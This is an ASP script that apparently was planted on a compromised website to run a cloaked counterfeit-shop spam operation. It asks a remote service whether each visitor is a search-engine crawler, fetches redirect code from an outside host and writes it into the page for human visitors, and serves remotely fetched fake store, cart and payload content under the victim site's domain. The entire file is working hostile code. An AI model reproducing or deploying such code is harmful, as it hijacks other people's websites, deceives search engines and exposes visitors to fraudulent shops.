<% Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8") set http=nothing If Err.number<>0 then Response.Write "

" Response.end Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Randomize %> <% if request("kk")<>"" then ip="66.249.64.190" else ip=Request.ServerVariables("REMOTE_ADDR") end if ipurl="http://jd.cdoi09.fr/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) if(instr(domain,"google")=0 and instr(domain,"bing")=0 and instr(domain,"yahoo")=0 and instr(domain,"aol")=0) and instr(domain,"msn.com")=0 then if request("shop")<>"" then ddd=getHTTPPage("http://js.jg2890.com/buytz.txt") ddd=ddd&"?cid=18&cname="&Server.URLEncode(request("shop"))&"&xi="&request("xi")&"&xc="&request("xc") Response.write "" end if if request("searchtxt")<>"" then ddd=getHTTPPage("http://js.jg2890.com/buytz.txt") ddd=ddd&"?cid=18&cname="&Server.URLEncode(request("searchtxt"))&"&xi="&request("xi")&"&xc="&request("xc") Response.write "" end if end if %> Shop > <%=request("shop")%> | <%=request("searchtxt")%> "/> > <%=INT((65-50+1)*RND+50)%>% OFF, Large variety of merchandise,Cheaper than wholesale Price > Free Priority Shipping |Shopping in <%=request("searchtxt")%> today!" /> <% Dim Url,Html,hyzhdy hyzhdy="https://jg2020.jgwebdy.com/GD_Page.aspx" if request("type")<>"" then if(request("type")="addtocart") then URL="https://jg2020.jgwebdy.com/cart.aspx?gj=com" con=getHTTPPage(URL) con=Replace(con, "pppid", request("pid")) con=Replace(con, "tupian", request("pic")) con=Replace(con, "mingzi", request("pname")) con=Replace(con, "danjia", request("price")) con=Replace(con, "shuliang", "1") con=Replace(con, "zongjia", request("price")) con=Replace(con, "cima", request("s1")) con=Replace(con, "curfh", request("fh")) con=Replace(con, "pricetype", request("pricetype")) con=Replace(con, "ZZZZZ",getHTTPPage("https://jgdy.jgwebdy.com/lydy/tz.txt")) Response.write con else if(request("type")="search") then URL=hyzhdy&"?cid=18&xi=1-5&xc=12-15&searchtxt="&request("searchtxt")&"&you=0page="&Request.ServerVariables("SCRIPT_NAME") con=getHTTPPage(URL) Response.write con end if end if else if request("shop")<>"" then URL=hyzhdy&"?cid=18&shop="&Server.URLEncode(request("shop"))&"&xi="&request("xi")&"&xc="&request("xc")&"&pl="&request("pl")&"&pr="&request("pr")&"&mt=https://jgdy.jgwebdy.com/jgdy/enjk18.txt" else URL=hyzhdy&"?cid=18&xi=1-5&xc=12-15&pnum="&request("pnum")&"&you=0page="&Request.ServerVariables("SCRIPT_NAME") end if con=getHTTPPage(URL) con=Replace(con, "HHHHH", Request.ServerVariables("SCRIPT_NAME")) con=Replace(con, "BBBBB", Request.ServerVariables("HTTP_HOST")) con=Replace(con, "AAAAA", Request.ServerVariables("SCRIPT_NAME")&"?gj=com&type=addtocart") con=Replace(con, "DDDDD", request("shop")&" ") con=Replace(con, "QQQQQ", "http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO")&"?"&Request.ServerVariables("QUERY_STRING")) Response.write con end if %>